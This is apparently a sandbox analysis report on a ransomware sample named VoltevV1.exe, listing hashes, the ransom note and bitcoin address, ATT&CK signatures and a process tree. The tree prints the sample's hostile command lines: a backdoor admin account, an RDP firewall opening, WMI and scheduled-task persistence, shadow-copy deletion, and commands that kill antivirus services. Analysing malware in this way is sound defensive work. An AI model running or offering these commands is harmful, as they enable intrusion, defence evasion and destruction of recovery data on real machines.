5e70f30a9899b004c9eef3bfae142efcd288f8d98767751782c371bfaab309ba

Analysis

max time kernel
150s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/06/2026, 12:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VoltevV1.exe
Size 17.2MB
Sample260629-pyzbmsdx5s
SHA256 5e70f30a9899b004c9eef3bfae142efcd288f8d98767751782c371bfaab309ba
MD5 fb9a1b9096ade2135f8451ff0a0e2e50
SHA1 ccbf67c0725180e8207d840886f92449fd4f6c64
SHA512 ba2a8c5a60a1886634ab148be5fbea9534005e5babf24c4206b88e2b045488567fd6558b0a665fdab3cbe7441d31a96adda767b06d1e861b58c135f66e00c744
SSDEEP 393216:woKwFdqgIfUKOcwrHtZq5Xo4y2eXZzCIHsGXRbE0Cf5:w4bq58KPwrHtZq5Y4y2aZzPtXd
TLSH
T1D8073388AB940C61F45F333C5AE78A1752E072350B61CEEE13F246692FA72D1DD34BA5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\VOLTEV_RECOVERY.txt

Ransom Note

======================================== VOLTEV V4 - RANSOMWARE ======================================== YOUR FILES HAVE BEEN ENCRYPTED. Send 0.5 BTC to: bc1qdadkua9ytqmkkaa2hfu8qg0hl0wa0hcxn9emx4 After payment, your files will be recovered. DO NOT attempt to decrypt files yourself. ======================================== WARNING: Any tampering = permanent data loss. ========================================

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Renames multiple (75) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Disables RegEdit via registry modification 3 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	VoltevV1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	VoltevV1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	VoltevV1.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6496	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wbkZL4FmRL3jxY.vbs	VoltevV1.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rL1LIoZZIOAG6.vbs	VoltevV1.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7X9MiEQZZ2zR6Bai.vbs	VoltevV1.exe

Loads dropped DLL 64 IoCs

pid	Process
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
3568	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
3240	VoltevV1.exe
5976	VoltevV1.exe
3240	VoltevV1.exe
3240	VoltevV1.exe
5976	VoltevV1.exe
3240	VoltevV1.exe
3240	VoltevV1.exe
5976	VoltevV1.exe
3240	VoltevV1.exe
5976	VoltevV1.exe
5976	VoltevV1.exe
3240	VoltevV1.exe

Modifies visibility of existing users in the login screen 1 TTPs 3 IoCs

A user account was hidden or made visible on the Windows login screen through a registry modification.

defense_evasion

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\BH7VRD5gAkI = "0"	VoltevV1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\FYjf7vBV7c52 = "0"	VoltevV1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\FDUdVm2tCAjLDC = "0"	VoltevV1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Run\vkw3wFS1koJi = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VoltevV1.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\VoltevV1.exe\""	VoltevV1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Run\Y57gCudJJwWxuR2 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VoltevV1.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\VoltevV1.exe\""	VoltevV1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2882181966-868590553-1461876573-1000\Software\Microsoft\Windows\CurrentVersion\Run\oelQUsxfl4oe = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\VoltevV1.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\VoltevV1.exe\""	VoltevV1.exe

Drops desktop.ini file(s) 13 IoCs

description	ioc	Process
File created	C:\Users\Admin\OneDrive\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Pictures\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Saved Games\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Searches\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Videos\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Contacts\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Desktop\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Documents\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Downloads\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Favorites\Links\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Music\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Favorites\desktop.ini	VoltevV1.exe
File created	C:\Users\Admin\Links\desktop.ini	VoltevV1.exe

Modifies WinLogon 2 TTPs 7 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\BH7VRD5gAkI = "0"	VoltevV1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	VoltevV1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\FYjf7vBV7c52 = "0"	VoltevV1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	VoltevV1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\FDUdVm2tCAjLDC = "0"	VoltevV1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	VoltevV1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	VoltevV1.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1616	sc.exe
2416	sc.exe
6428	sc.exe
2796	sc.exe
5384	sc.exe
5392	sc.exe
1528	sc.exe
2352	sc.exe
3184	sc.exe
6848	sc.exe
972	sc.exe
4464	sc.exe
3860	sc.exe
2044	sc.exe
3068	sc.exe
6708	sc.exe
6160	sc.exe
6592	sc.exe
2844	sc.exe
4968	sc.exe
1724	sc.exe
5484	sc.exe
1484	sc.exe
2080	sc.exe
3916	sc.exe
4148	sc.exe
5416	sc.exe
5860	sc.exe
6328	sc.exe
4740	sc.exe
2596	sc.exe
3936	sc.exe
5016	sc.exe
6628	sc.exe
7068	sc.exe
6692	sc.exe
2228	sc.exe
6852	sc.exe
2328	sc.exe
7124	sc.exe
2416	sc.exe
6272	sc.exe
4596	sc.exe
2716	sc.exe
5304	sc.exe
2100	sc.exe
1528	sc.exe
6272	sc.exe
7104	sc.exe
2576	sc.exe
5388	sc.exe
5264	sc.exe
6848	sc.exe
7096	sc.exe
3752	sc.exe
6320	sc.exe
1968	sc.exe
4820	sc.exe
2616	sc.exe
5168	sc.exe
4800	sc.exe
5056	sc.exe
4836	sc.exe
6476	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Kills process with taskkill 64 IoCs

defense_evasion

pid	Process
6508	taskkill.exe
5608	taskkill.exe
4632	taskkill.exe
5164	taskkill.exe
7100	taskkill.exe
7016	taskkill.exe
2600	taskkill.exe
6404	taskkill.exe
4832	taskkill.exe
5932	taskkill.exe
6476	taskkill.exe
5968	taskkill.exe
3060	taskkill.exe
1920	taskkill.exe
3480	taskkill.exe
1848	taskkill.exe
5552	taskkill.exe
3852	taskkill.exe
1160	taskkill.exe
972	taskkill.exe
5420	taskkill.exe
6160	taskkill.exe
5828	taskkill.exe
6192	taskkill.exe
6472	taskkill.exe
4724	taskkill.exe
4608	taskkill.exe
4788	taskkill.exe
5632	taskkill.exe
3884	taskkill.exe
5668	taskkill.exe
2320	taskkill.exe
1404	taskkill.exe
700	taskkill.exe
7068	taskkill.exe
1272	taskkill.exe
6656	taskkill.exe
884	taskkill.exe
7108	taskkill.exe
3264	taskkill.exe
252	taskkill.exe
6260	taskkill.exe
6120	taskkill.exe
5532	taskkill.exe
7012	taskkill.exe
1340	taskkill.exe
7108	taskkill.exe
6044	taskkill.exe
736	taskkill.exe
6732	taskkill.exe
3096	taskkill.exe
2044	taskkill.exe
7140	taskkill.exe
7028	taskkill.exe
2856	taskkill.exe
6600	taskkill.exe
6192	taskkill.exe
3516	taskkill.exe
3524	taskkill.exe
2824	taskkill.exe
4108	taskkill.exe
4296	taskkill.exe
2308	taskkill.exe
4840	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1588	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3480	WMIC.exe
3480	WMIC.exe
3480	WMIC.exe
3480	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3480	WMIC.exe
Token: SeSecurityPrivilege	3480	WMIC.exe
Token: SeTakeOwnershipPrivilege	3480	WMIC.exe
Token: SeLoadDriverPrivilege	3480	WMIC.exe
Token: SeSystemProfilePrivilege	3480	WMIC.exe
Token: SeSystemtimePrivilege	3480	WMIC.exe
Token: SeProfSingleProcessPrivilege	3480	WMIC.exe
Token: SeIncBasePriorityPrivilege	3480	WMIC.exe
Token: SeCreatePagefilePrivilege	3480	WMIC.exe
Token: SeBackupPrivilege	3480	WMIC.exe
Token: SeRestorePrivilege	3480	WMIC.exe
Token: SeShutdownPrivilege	3480	WMIC.exe
Token: SeDebugPrivilege	3480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3480	WMIC.exe
Token: SeRemoteShutdownPrivilege	3480	WMIC.exe
Token: SeUndockPrivilege	3480	WMIC.exe
Token: SeManageVolumePrivilege	3480	WMIC.exe
Token: 33	3480	WMIC.exe
Token: 34	3480	WMIC.exe
Token: 35	3480	WMIC.exe
Token: 36	3480	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3480	WMIC.exe
Token: SeSecurityPrivilege	3480	WMIC.exe
Token: SeTakeOwnershipPrivilege	3480	WMIC.exe
Token: SeLoadDriverPrivilege	3480	WMIC.exe
Token: SeSystemProfilePrivilege	3480	WMIC.exe
Token: SeSystemtimePrivilege	3480	WMIC.exe
Token: SeProfSingleProcessPrivilege	3480	WMIC.exe
Token: SeIncBasePriorityPrivilege	3480	WMIC.exe
Token: SeCreatePagefilePrivilege	3480	WMIC.exe
Token: SeBackupPrivilege	3480	WMIC.exe
Token: SeRestorePrivilege	3480	WMIC.exe
Token: SeShutdownPrivilege	3480	WMIC.exe
Token: SeDebugPrivilege	3480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3480	WMIC.exe
Token: SeRemoteShutdownPrivilege	3480	WMIC.exe
Token: SeUndockPrivilege	3480	WMIC.exe
Token: SeManageVolumePrivilege	3480	WMIC.exe
Token: 33	3480	WMIC.exe
Token: 34	3480	WMIC.exe
Token: 35	3480	WMIC.exe
Token: 36	3480	WMIC.exe
Token: SeDebugPrivilege	4644	taskkill.exe
Token: SeDebugPrivilege	4108	taskkill.exe
Token: SeDebugPrivilege	2656	taskkill.exe
Token: SeDebugPrivilege	5056	taskkill.exe
Token: SeDebugPrivilege	892	taskkill.exe
Token: SeDebugPrivilege	6588	taskkill.exe
Token: SeDebugPrivilege	4352	taskkill.exe
Token: SeDebugPrivilege	1676	taskkill.exe
Token: SeDebugPrivilege	4788	taskkill.exe
Token: SeDebugPrivilege	4284	taskkill.exe
Token: SeDebugPrivilege	5884	taskkill.exe
Token: SeDebugPrivilege	6976	taskkill.exe
Token: SeDebugPrivilege	5532	taskkill.exe
Token: SeDebugPrivilege	736	taskkill.exe
Token: SeDebugPrivilege	2316	taskkill.exe
Token: SeDebugPrivilege	2232	taskkill.exe
Token: SeDebugPrivilege	6588	taskkill.exe
Token: SeDebugPrivilege	3516	taskkill.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeDebugPrivilege	1076	taskkill.exe
Token: SeDebugPrivilege	6404	taskkill.exe
Token: SeDebugPrivilege	5984	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 3568	4984	VoltevV1.exe	90
PID 3568 wrote to memory of 2184	3568	VoltevV1.exe	92
PID 2184 wrote to memory of 1588	2184	cmd.exe	94
PID 3568 wrote to memory of 2196	3568	VoltevV1.exe	97
PID 3568 wrote to memory of 1628	3568	VoltevV1.exe	98
PID 3568 wrote to memory of 4444	3568	VoltevV1.exe	100
PID 3568 wrote to memory of 4776	3568	VoltevV1.exe	101
PID 3568 wrote to memory of 5712	3568	VoltevV1.exe	892
PID 4776 wrote to memory of 3480	4776	cmd.exe	1093
PID 4444 wrote to memory of 6496	4444	cmd.exe	430
PID 2196 wrote to memory of 4756	2196	cmd.exe	110
PID 1628 wrote to memory of 7080	1628	cmd.exe	111
PID 4756 wrote to memory of 5932	4756	net.exe	659
PID 3568 wrote to memory of 6200	3568	VoltevV1.exe	114
PID 3848 wrote to memory of 5976	3848	VoltevV1.exe	115
PID 3568 wrote to memory of 6960	3568	VoltevV1.exe	118
PID 6200 wrote to memory of 1848	6200	cmd.exe	354
PID 3568 wrote to memory of 2876	3568	VoltevV1.exe	755
PID 6960 wrote to memory of 6000	6960	cmd.exe	123
PID 3568 wrote to memory of 6208	3568	VoltevV1.exe	871
PID 6000 wrote to memory of 1920	6000	net.exe	672
PID 3568 wrote to memory of 4536	3568	VoltevV1.exe	773
PID 3568 wrote to memory of 1620	3568	VoltevV1.exe	868
PID 3568 wrote to memory of 3068	3568	VoltevV1.exe	862
PID 5460 wrote to memory of 3240	5460	VoltevV1.exe	133
PID 3568 wrote to memory of 2892	3568	VoltevV1.exe	134
PID 3568 wrote to memory of 4644	3568	VoltevV1.exe	136
PID 3568 wrote to memory of 6328	3568	VoltevV1.exe	238
PID 3568 wrote to memory of 4108	3568	VoltevV1.exe	139
PID 3568 wrote to memory of 6908	3568	VoltevV1.exe	1067
PID 3568 wrote to memory of 5868	3568	VoltevV1.exe	144
PID 3568 wrote to memory of 2656	3568	VoltevV1.exe	589
PID 3568 wrote to memory of 5056	3568	VoltevV1.exe	358
PID 3568 wrote to memory of 6460	3568	VoltevV1.exe	1074
PID 5976 wrote to memory of 3548	5976	VoltevV1.exe	866
PID 3568 wrote to memory of 5968	3568	VoltevV1.exe	1050
PID 5976 wrote to memory of 1500	5976	VoltevV1.exe	465
PID 3568 wrote to memory of 1848	3568	VoltevV1.exe	354
PID 3568 wrote to memory of 892	3568	VoltevV1.exe	454
PID 3568 wrote to memory of 6588	3568	VoltevV1.exe	381
PID 3568 wrote to memory of 5828	3568	VoltevV1.exe	619
PID 5976 wrote to memory of 1480	5976	VoltevV1.exe	448
PID 3568 wrote to memory of 4740	3568	VoltevV1.exe	167
PID 3568 wrote to memory of 2800	3568	VoltevV1.exe	170
PID 3568 wrote to memory of 4352	3568	VoltevV1.exe	608
PID 3568 wrote to memory of 1676	3568	VoltevV1.exe	380
PID 3568 wrote to memory of 4844	3568	VoltevV1.exe	566
PID 3568 wrote to memory of 3860	3568	VoltevV1.exe	732
PID 5976 wrote to memory of 1228	5976	VoltevV1.exe	287
PID 3568 wrote to memory of 3916	3568	VoltevV1.exe	182
PID 3568 wrote to memory of 4788	3568	VoltevV1.exe	958
PID 5976 wrote to memory of 4064	5976	VoltevV1.exe	469
PID 5976 wrote to memory of 4188	5976	VoltevV1.exe	684
PID 5976 wrote to memory of 4204	5976	VoltevV1.exe	188
PID 5976 wrote to memory of 1940	5976	VoltevV1.exe	492
PID 3568 wrote to memory of 4284	3568	VoltevV1.exe	304
PID 3568 wrote to memory of 6260	3568	VoltevV1.exe	928
PID 5976 wrote to memory of 6744	5976	VoltevV1.exe	402
PID 3568 wrote to memory of 2612	3568	VoltevV1.exe	200
PID 5976 wrote to memory of 7164	5976	VoltevV1.exe	307
PID 5976 wrote to memory of 3900	5976	VoltevV1.exe	796
PID 5976 wrote to memory of 3064	5976	VoltevV1.exe	680
PID 3568 wrote to memory of 6976	3568	VoltevV1.exe	569
PID 3568 wrote to memory of 1512	3568	VoltevV1.exe	1061

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe
"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe
  "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"
  2⤵
  - Disables RegEdit via registry modification
  - Drops startup file
  - Loads dropped DLL
  - Modifies visibility of existing users in the login screen
  - Adds Run key to start application
  - Drops desktop.ini file(s)
  - Modifies WinLogon
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "7VTrdi2hMyqm3v" /tr "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" /sc onlogon /rl highest /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "7VTrdi2hMyqm3v" /tr "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user BH7VRD5gAkI 6PSnUOQ0YWoutHgD /add /y"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\system32\net.exe
      net user BH7VRD5gAkI 6PSnUOQ0YWoutHgD /add /y
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4756
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user BH7VRD5gAkI 6PSnUOQ0YWoutHgD /add /y
        5⤵
        
        PID:5932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc create dPAEToz9o binPath= "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" start= auto"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\Windows\system32\sc.exe
      sc create dPAEToz9o binPath= "\"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\" \"C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe\"" start= auto
      4⤵
      PID:7080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall firewall add rule name="RDP_Backdoor" dir=in action=allow protocol=TCP localport=3389"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="RDP_Backdoor" dir=in action=allow protocol=TCP localport=3389
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:6496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="I84DdMYlP3Z6Da", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="I84DdMYlP3Z6Da", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\""
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo Recovery file: C:\Users\Admin\Desktop\VOLTEV_RECOVERY.txt && echo Total encrypted: 74 && echo Send 0.5 BTC to bc1qdadkua9ytqmkkaa2hfu8qg0hl0wa0hcxn9emx4 && pause"
    3⤵
    PID:5712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc description dPAEToz9o "System Service""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6200
  - - C:\Windows\system32\sc.exe
      sc description dPAEToz9o "System Service"
      4⤵
      PID:1848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup administrators BH7VRD5gAkI /add"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6960
  - - C:\Windows\system32\net.exe
      net localgroup administrators BH7VRD5gAkI /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6000
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators BH7VRD5gAkI /add
        5⤵
        
        PID:1920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="1dw6AsFNdc7v", ExecutablePath="C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe", CommandLineTemplate=""C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe" "C:\Users\Admin\AppData\Local\Temp\VoltevV1.exe"""
    3⤵
    PID:2876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    PID:6208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"I84DdMYlP3Z6Da\"", Consumer="CommandLineEventConsumer.Name=\"1dw6AsFNdc7v\""
    3⤵
    PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete /nointeractive"
    3⤵
    PID:1620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
    3⤵
    PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:2892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4644
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:6328
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4108
- - C:\Windows\SYSTEM32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    PID:6908
- - C:\Windows\SYSTEM32\sc.exe
    sc stop WdNisSvc
    3⤵
    PID:5868
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5056
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    PID:6460
- - C:\Windows\SYSTEM32\sc.exe
    sc stop SecurityHealthService
    3⤵
    PID:5968
- - C:\Windows\SYSTEM32\sc.exe
    sc config SecurityHealthService start= disabled
    3⤵
    PID:1848
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MpCmdRun.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:892
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im MpCmdRun.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6588
- - C:\Windows\SYSTEM32\sc.exe
    sc stop wscsvc
    3⤵
    PID:5828
- - C:\Windows\SYSTEM32\sc.exe
    sc config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4740
- - C:\Windows\SYSTEM32\sc.exe
    sc stop AvastSvc
    3⤵
    PID:2800
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AvastSvc.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AvastSvc.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1676
- - C:\Windows\SYSTEM32\sc.exe
    sc config AvastSvc start= disabled
    3⤵
    PID:4844
- - C:\Windows\SYSTEM32\sc.exe
    sc stop "AVG Antivirus"
    3⤵
    - Launches sc.exe
    PID:3860
- - C:\Windows\SYSTEM32\sc.exe
    sc config "AVG Antivirus" start= disabled
    3⤵
    - Launches sc.exe
    PID:3916
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im AvastUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
